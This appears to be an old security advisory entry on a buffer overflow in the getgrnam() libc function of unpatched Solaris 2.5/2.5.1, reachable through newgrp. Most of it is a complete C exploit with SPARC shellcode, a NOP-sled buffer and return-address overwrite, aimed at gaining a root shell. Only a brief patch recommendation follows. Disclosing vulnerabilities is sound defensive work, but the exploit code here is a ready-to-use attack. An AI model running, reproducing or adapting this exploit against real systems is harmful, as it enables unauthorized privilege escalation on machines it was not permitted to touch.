COMMAND
getgrnam() (libc)
SYSTEMS AFFECTED
Solaris 2.5x
PROBLEM
Pablo Sor posted following. Old versions of Solaris, 2.5/2.5.1
(without patch) contain an exploitable buffer overflow in
getgrnam() libc function. This vulnerability may be used in
newgrp command.
#include <stdio.h>
#include <sys/types.h>
/*
getgrnam() function overflow.
works against Solaris 2.5.1 (SPARC)
default offset should work.
Pablo Sor, Buenos Aires, Argentina.
psor@afip.gov.ar
*/
u_char shell[] =
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff";
u_long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}
void main()
{
long *p;
long addr;
char buf[8300];
int i;
addr = get_sp()-8096;
printf("Jumping to address %p\n",addr);
p = (long *) buf;
for (i=0;i<2050;++i) *(p++) = 0xa61cc013;
for (i=0;i<strlen(shell);++i) buf[104+i] = shell[i];
p = (long *) &buf[8160];
for (i=0;i<30;++i) *(p++) = addr;
buf[8280]=0;
execl("/usr/bin/newgrp","newgrp",buf,(char *)0);
}
SOLUTION
Apply latest patches for libc.